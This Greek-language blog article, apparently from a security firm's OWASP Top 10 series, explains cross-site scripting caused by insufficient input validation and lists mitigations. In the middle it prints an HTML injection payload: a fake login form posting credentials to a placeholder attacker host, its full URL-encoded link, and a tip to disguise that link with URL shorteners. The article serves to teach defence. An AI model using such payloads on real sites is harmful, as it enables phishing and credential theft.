OWASP_logoΣυνεχίζοντας τον κύκλο άρθρων σχετικά με την ασφάλεια σε δικτυακά περιβάλλοντα σε συνεργασία με τον Παναγιώτη Καλαντζή στο άρθρο αυτό εξετάζουμε την τρίτη συνηθέστερη αδυναμία, την ανεπαρκή επικύρωση δεδομένων εισόδου χρήστη. Όπως ήδη φαντάζεστε, όσο πλησιάζουμε προς την κορυφή των κενών ασφάλειας η εμφάνισή τους στον διαδικτυακό κόσμο γίνεται όλο και συχνότερη, με το XSS να είναι ιδιαίτερα συχνά εμφανιζόμενη αδυναμία ασφάλειας.

Η προκείμενη αδυναμία παρουσιάζεται όταν η εφαρμογή δε θεωρεί όλα τα δεδομένα εισόδου των χρηστών της ως πιθανές απειλές. Έτσι στο γενικευμένο σενάριο της αδυναμίας ο επιτιθέμενος αποστέλλει κακόβουλα δεδομένα εισόδου μορφής κειμένου που εκμεταλλεύονται τις λειτουργίες του φυλλομετρητή (browser) και η εφαρμογή δεν τα εξετάζει/επικυρώνει προ της αντίδρασής της.

Για την διαπίστωση της ύπαρξης θέματος ανεπαρκούς επικύρωσης δεδομένων εισόδου χρήστη στην εφαρμογή απαιτείται η εξέταση/επικύρωση όλων των δεδομένων εισόδου χρήστη είτε βάσει αυτών γίνεται κάποια δράση είτε συμπεριλαμβάνονται στην έξοδο της εφαρμογής. Η χρήση των τεχνολογιών Web 2.0 και ειδικότερα της ajax προσφέρουν ένα επιπλέον επίπεδο δυσκολίας καθώς καθιστούν τον αυτοματοποιημένο εντοπισμό κενών ασφαλείας XSS ιδιαίτερα δύσκολο. Σκεφτείτε την περίπτωση όπου η σελίδα αναζήτησης δεν επιβεβαιώνει τα δεδομένα εισόδου του χρήστη και ακολουθώντας το παρακάτω γενικευμένο σενάριο είναι δομημένη κάπως έτσι Σελίδα αναζήτησης

1

και ο επιτιθέμενος εισαγάγει αντί ερωτήματος το ακόλουθο αλφαριθμητικό (και πατά «αναζήτηση»)

No results were found because you are not logged-in
<div style="border: #000 thin solid;">

Please login with the form below before proceeding:

<form action="a_malicious_target.com">
<table>
<tbody>
<tr>
<td>Login:</td>
<td><input name="login" type="text" /></td>
</tr>
<tr>
<td>Password:</td>
<td><input name="password" type="password" /></td>
</tr>
</tbody>
</table>
<input type="submit" value="LOGIN" />

</form></div>

δημιουργώντας μια σελίδα που παρότι το url της βασίζεται στην αρχική υπηρεσία και έτσι εμπνέει ασφάλεια ζητά τα διαπιστευτήρια του χρήστη για την υπηρεσία και τα αποστέλλει στην σελίδα a_malicious_target.com ιδιοκτησίας του επιτιθέμενου.

2

Το τελικό βήμα της διαδικασίας είναι ο επιτιθέμενος να αποστείλει στα θύματα το σύνδεσμο

http://192.168.1.12/test/index.php?query=No+results+were+found+because+you+are+not+logged-in%3C%2Fp%3E+%3Cdiv+style%3D%22border%3A%23000+thin+solid%22%3EPlease+login+with+the+form+below+before+proceeding%3A+%3Cform+action%3D%22a_malicious_target.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D%22text%22+length%3D%2220%22+name%3D%22login%22%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D%22password%22+length%3D%2220%22+name%3D%22password%22%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3D%22submit%22+value%3D%22LOGIN%22%3E%3C%2Fform%3E%3C%2Fdiv%3E&button=%CE%91%CE%BD%CE%B1%CE%B6%CE%AE%CF%84%CE%B7%CF%83%CE%B7

(ίσως και με χρήση σύντμησης όπως το https://bitly.com/ ή το http://goo.gl/) και να τους προτρέψει να δουν τα φοβερά αποτελέσματα της αναζήτησής του. Φυσικά η κακόβουλη σελίδα του μπορεί μετά την αποθήκευση των διαπιστευτηρίων να προωθήσει το θύμα στην αρχική σελίδα με αναζήτηση ένα ερώτημα που (ίσως) έχει κι ενδιαφέροντα αποτελέσματα. Τα συνήθη αποτελέσματα της εκμετάλλευσης της αδυναμίας αυτής είναι πως ο επιτιθέμενος μπορεί να

  1. υποδυθεί κλεμμένη ταυτότητα χρήστη
  2. προσπελάσει δεδομένα για τα οποία δεν έχει πρόσβαση
  3. αποκτήσει ελεύθερη πρόσβαση σε περιεχόμενο που απαιτεί διαπίστευση
  4. κατασκοπεύσει τις συνήθειες φυλλομέτρησης θυμάτων
  5. μεταβάλλει την λειτουργία ενός ιστοχώρου στον φυλλομετρητή

Ακολούθως, σε επιχειρηματικό επίπεδο πρέπει κανείς να θεωρεί τις συνέπειες των επιθέσεων αυτού του τύπου ως πολύ σοβαρές καθώς όλες οι παραπάνω περιπτώσεις θίγουν τους αντίστοιχους χρήστες αλλά και στην επιχειρηματική υπόληψη όσο αφορά την ασφάλεια των δεδομένων της εφαρμογής. Για την αντιμετώπιση της εν λόγω αδυναμίας προτείνονται τα εξής:

  1. Επικύρωση των δεδομένων εισόδου του χρήστη
  2. Προσδιορισμό χαρακτήρων που είναι επιτρεπτοί (ωστόσο βλάπτει τη γενικότητα καθώς κάποιες εφαρμογές ίσως απαιτούν χαρακτήρες που μπορούν να έχουν και κακόβουλη χρήση)
  3. Χρήση βιβλιοθηκών καθαρισμού δεδομένων (λ.χ. AntiSamy ή Java HTML Sanitizer Project)

Στο επόμενο άρθρο θα δούμε την αδυναμία που προκαλείται από την επισφαλή διαχείριση δεδομένων διαπίστευσης και συνεδρίας (Broken Authentication and Session Management). Επικοινωνήστε μαζί μας για να συζητήσουμε πώς μπορεί το διαδικτυακού λογισμικό σας να γίνει ασφαλέστερο προστατεύοντας την επιχείρησή και τους πελάτες σας.

Share This: